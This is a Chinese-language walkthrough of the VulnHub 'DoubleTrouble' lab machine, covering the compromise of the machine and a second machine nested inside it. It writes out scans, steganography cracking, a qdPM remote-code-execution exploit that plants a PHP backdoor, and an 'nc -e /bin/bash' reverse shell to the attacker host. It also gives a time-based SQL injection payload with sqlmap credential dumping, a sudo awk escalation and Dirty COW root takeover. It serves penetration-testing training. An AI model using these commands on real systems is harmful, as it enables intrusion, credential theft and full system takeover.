靶机介绍
1)靶机地址:https://download.vulnhub.com/doubletrouble/doubletrouble.ova
2)靶机难度:中
3)打靶目标: 取得两台靶机 root 权限 + Flag
4)涉及攻击方法:主机发现、端口扫描、WEB信息收集、开源CMS漏洞利用、隐写术、EXP代码修复、密码爆破、GTFObins提权、SQL盲注、脏牛提权
5)靶机简介:本靶机之中还藏着第二个靶机,需要全部攻破它们。如今大量WEB应用都基于开源CMS进行搭建,而CMS本身一旦被发现存在漏洞,则会威胁众多应用的安全。作为攻击方,应该重点关注目标使用的CMS,进而通过信息收集和源码审计,发现并利用其中存在的漏洞。本次打靶会使用一个新的隐写密码破解工具,将密码破解的效率提升9000倍。面对第二个靶机,会使用到SQL盲注技术,利用布尔逻辑以二进制位为单位,从数据库中提取机密的数据。
打靶过程
1)主机发现
# arp-scan --interface=eth1 --localnet
2)全端口扫描
# nmap -p- 192.168.56.121
3)端口服务版本扫描
# nmap -p22,80 -sC -sV 192.168.56.121
4)浏览器访问80端口及查看网页源码信息
copyright为版权方,即源码贡献者是谁,该应用web应用名称为qdpM,版本为9.1,访问官方网站,可知是一个CMS程序。如果该CMS的存在高位漏洞,可直接进行利用。
在实际渗透过程中,发现一个目标web程序使用的是哪个CMS后,可针对该CMS源码最新发布时的relsease信息来进行检查,发现是否修复了哪些漏洞。
5)查看官网最新的qdpM的cms的relsese信息:未发现任何漏洞修复的内容,但是根据提示,在该CMS安装完成后,会默认存在一个/install的目录
6)通过访问install目录发现,该目录主要是在CMS安装完成后,用于环境检查的一个文件,但是此处存在,说明管理员在CMS安装完成后,并没有将该文件删除
http://192.168.56.121/install/
7)通过访问/core/cache/qdPM/目录,也可以发现一些该网站的文件信息,包括一些php文件,但是php文件因为被解析的原因,无法查看其具体的内容(要查看内容,除非系统具备任意文件下载漏洞),同样也可查看其他目录下的文件
http://192.168.56.121//core/cache/qdPM
8)因知道了当前CMS的名称及版本,可以直接在kali中搜索,该目标主机的CMS版本是否存在已知可利用的脚本程序
# searchsploit qdpm
通过搜索,存在多个可利用的代码,优先关注其中的远程代码执行漏洞利用脚本
9)将两个远程代码执行漏洞利用脚本进行下载后,简单查看
# cp /usr/share/exploitdb/exploits/php/webapps/47954.py ./
# cp /usr/share/exploitdb/exploits/php/webapps/50175.py ./
通过查看脚本发现两个脚本都是针对远程代码执行漏洞,只不过使用的python版本不同,且使用该脚本必须通过身份认证后,即已经登录到目标系统内部,才能利用远程代码执行
10)先通过万能密码的登录尝试' or 1=1 -- 无法正常登录
11)通过搜索发现了qdPm默认安装完成后的用户名为[email protected]和密admin,但是也无法成功登录。表面密码已经备修改过了
12)通过路径爬取,查看web程序的其他文件
# dirsearch -u http://192.168.56.121
按个对发现的目录和文件进行查看,发现了一个secret目录(秘密),作为一个靶机,有可能该目录中存在重要信息
13)通过浏览器访问,发现该目录下存在着一张图片,将图片进行保存
14)在很多靶机中会使用隐写术 的方式在图片中隐藏信息。先通过setghide工具查看图片中有无隐藏信息
# steghide info doubletrouble.jpg
通过分析发现,该图片格式为jpeg,且该图片有能力隐藏4.7KB大小的数据,但是要想获取到隐藏到图片中的数据时,需要输入密码
15)安装stegcracker隐写信息破解程序
# apt install stegcracker
# stegcracker
根据提示发现stegcracker已经升级为了stegseek,且stegseek在效率方面比stegcracker高的多
16)先下载stegseek,并且使用setgseek破解图片中的密码
stegseek下载地址:https://github.com/RickdeJager/stegseek
# apt install ./stegseek_0.6-1.deb
# stegseek --crack doubletrouble.jpg rockyou.txt -xf file 密码破解并将破解出的内容输出到file文件中
破解出密码为92camaro
17)查看文件内容
# file file #查看file文件类型为文本文件
# cat file
[email protected]
otis666
查看文件内容发现了两行字符串,尝试通过该字符字符传作为账户和密码登录web应用
18)尝试登录
发现正常的登录进了目标系统
19)执行远程代码漏洞利用脚本
①在初次执行脚本时,报出了语法错误
# python3 50175.py
②通过检查代码发现,是因为代码中缩进出现问题导致的语法问题,重新整理代码的缩进后,执行代码,输入脚本使用方式
③输入参数,执行远程代码执行漏洞利用脚本
# python3 50175.py -url http://192.168.56.121/ -u [email protected] -p otis666
执行成功后,会返回一个URL地址,在users目录下会生成一个后门文件如下
④利用后门执行命令
http://192.168.56.121//uploads/users/333276-backdoor.php?cmd=id
20)利用webshell,执行反弹shell
http://192.168.56.121//uploads/users/333276-backdoor.php?cmd=which nc
http://192.168.56.121//uploads/users/333276-backdoor.php?cmd=nc -e /bin/bash 192.168.56.103 4444
21)突破边界后,先利用python的pth模块将shell进行升级,再对目标靶机进行信息搜集,
python -c 'import pty;pty.spawn("/bin/bash")'
$ sudo -l
查看发现不需要密码即可使用awk命令,且该命令属主为root
22)通过gtfobins中关于利用awk进行sudo提权的命令进行提权
https://gtfobins.github.io/gtfobins/awk/
sudo awk 'BEGIN {system("/bin/bash")}'
通过上述命令直接将权限提升为了root,且在家目录下发现了第二个ova文件
23)将ova镜像文件通过kali传输到kali主机
kali:
#nc -nvlp 4444 >second.ova
目标靶机:
# nc 192.168.56.103 4444 < doubletrouble.ova -w 1 当不在有数据传输,1秒后断开连接
24)传输完成后,验证两个ova文件的hash值是否一致
目标靶机:
#md5sum doubletrouble.ova
186b2cb6b64e630c6e93fb9905e76a0d doubletrouble.ova
kali主机:
# md5sum second.ova
186b2cb6b64e630c6e93fb9905e76a0d second.ova
25)将新下载的ova文件导入虚拟机后进行主机发现
# arp-scan --interface=eth1 --localnet
26)全端口扫描
# nmap -p- 192.168.56.123
27)端口服务版本扫描
# nmap -p22,80 -sC -sV 192.168.56.123
28)浏览器访问靶机的80端口,发现是一个登录页面,通过查看源代码未发现有用信息;通过万能密码尝试也无法成功登入
29)对目标靶机进行web目录爬取,也未发现敏感文件及目录
# dirsearch -u http://192.168.56.123
#dirsearch -u http://192.168.56.x/cgi-bin -f -e cgi,sh
30)尝试通过burp抓取web系统登录时的数据包,尝试在用户名和密码出进行SQL注入尝试
uname=abcd&psw=' AND(SELECT X FROM (SELECT (SLEEP(5)))XZ)#&btnLogin=Login
当在用户名或密码处输入如上SQL语句时,会因为sleep函数的原因造成延时,说明此处存在时间盲注
31)将数据包保存到r.txt后通过sqlmap对web程序数据库进行注入
# sqlmap -r r.txt
# sqlmap -r r.txt -p uname --dbms mysql --dbs
# sqlmap -r r.txt -p uname --dbms mysql -D doubletrouble --tables
# sqlmap -r r.txt -p uname --dbms mysql -D doubletrouble -T users --columns
# sqlmap -r r.txt -p uname --dbms mysql -D doubletrouble -T users --dump
通过sqlmap注入出两队用户名和密码:| GfsZxc1 | montreux || ZubZub99 | clapton
32)通过上述的用户名和密码登录web系统,发现仍然无法登录,此时使用用户名和密码通过ssh进行登录,多次尝试发现,通过用户名clapton和密码ZubZub99成功登陆至靶机
# ssh [email protected]
33)主机信息搜集
$ sudo -l
$ uname -a
通过查看靶机操作系统版本未3.2.0,该版本存在脏牛提权漏洞
34)利用脏牛漏洞进行提权
①在如下地址下载利用代码
https://github.com/FireFart/dirtycow
①将文件传输到目标靶机
目标靶机:
$ nc -nvlp 4444 > dirty.c
kali:
# nc 192.168.56.123 4444 < dirty.c -w 1
③代码编译,后执行代码。提权成功后会用firefart用户去替换root用户
$ gcc -pthread dirty.c -o exp -lcrypt
$ chmod +x exp
$ ./exp pass #给定一个密码
④使用用户firefart密码pass登录目标靶机,获取flag
firefart@doubletrouble:~# cat root.txt
1B8EEA89EA92CECB931E3CC25AA8DE21firefart
标签:--,打靶,192.168,密码,ova,第十五次,靶机,CMS
From: https://www.cnblogs.com/piaolaipiaoqu/p/17122474.html